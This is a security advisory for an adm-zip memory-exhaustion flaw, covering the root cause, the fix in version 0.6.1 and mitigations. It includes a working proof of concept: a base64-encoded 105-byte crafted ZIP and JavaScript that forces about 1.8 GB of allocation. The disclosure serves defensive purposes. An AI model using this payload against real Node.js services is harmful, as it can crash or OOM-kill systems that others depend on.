CVE-2026-77301: adm-zip Uncontrolled Memory Allocation via Declared Uncompressed Size (DoS)
A crafted ZIP file with a falsely inflated uncompressed-size header field forces adm-zip to allocate gigabytes of RAM before doing any validation, making it trivial to crash or OOM-kill any Node.js…
The problem
adm-zip reads the declared uncompressed size straight from the ZIP central-directory header and calls Buffer.alloc() with that value before checking whether the data is actually that large. No upper bound is applied and no comparison is made against the real compressed payload.
A 105-byte ZIP claiming 1,774,399,200 bytes uncompressed forces ~1.8 GB of committed memory on every getData() call. On memory-constrained hosts (containers, serverless, small VMs) the allocation OOM-kills the process before the CRC check even runs, making the error uncatchable.
Concurrent requests amplify the impact further.
Proof of concept
A working proof-of-concept for CVE-2026-77301 in adm-zip, with the exact payload below.
const AdmZip = require('adm-zip');
// 105-byte crafted ZIP, declared uncompressed size = 1,774,399,200 (0x69C72DE0)
// sha256: 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386
const b64 = "UEsDBBQAAAAAAAAAAAAAAAAABQAAAAUAAAABAAAAYWhlbGxvUEsBAhQAFAAAAAAAAAAAAAAAAAAFAAAA4C7DaQEAAAAAAAAAAAAAAAAAAAAAAGFQSwUGAAAAAAEAAQAvAAAAJAAAAAAA";
const buf = Buffer.from(b64, 'base64'); // 105 bytes
const zip = new AdmZip(buf);
zip.getEntries()[0].getData();
// commits ~1.8 GB of RSS in ~4.4 s, then throws:
// Error: ADM-ZIP: CRC32 checksum failedThe root cause is in zipEntry.js: Buffer.alloc(_centralHeader.size) runs unconditionally, using the attacker-controlled size field parsed directly from the binary header with no bounds check. The CRC validation that would catch the mismatch only runs after the allocation is already committed.
The patch in 0.6.0/0.6.1 ties the allocation to the real data present. For STORED entries the output buffer is sized from the actual compressed bytes. For DEFLATED entries the inflater grows the output buffer incrementally and caps it at the declared size, so the attacker cannot exceed their own declaration.
This makes the declared-size field self-bounding rather than a free amplifier.
CWE-789 (Memory Allocation with Excessive Size Value). Amplification ratio: roughly 16 million to 1 on the 105-byte PoC.
The fix
Upgrade adm-zip to 0.6.1 (latest on npm as of September 2026). The fix is in commit 491600683dacb6cb9fe0718a0eeb9cb5eb49afa6. If an immediate upgrade is not possible, wrap all getData() and extraction calls in a child process with a hard memory limit, or reject archives whose central-directory size field exceeds a reasonable application-defined threshold before calling any adm-zip read method.
Reported by Dilipkumar Choudhary.
Related research
- high · 7.5CVE-2026-85715CVE-2026-85715: exifreader iloc Box Memory Exhaustion DoS
- high · 7.5CVE-2026-71314CVE-2026-71314: Nuxt Unauthenticated DoS via Unbounded v-for Expansion in Island Rendering
- high · 8.2CVE-2026-91127CVE-2026-91127: @file-viewer/doc DOM XSS via Unsafe Hyperlink Scheme in Legacy DOC Renderer
- high · 8.2CVE-2026-86039CVE-2026-86039: @libp2p/peer-store Certified Address Poisoning via Forged PeerRecord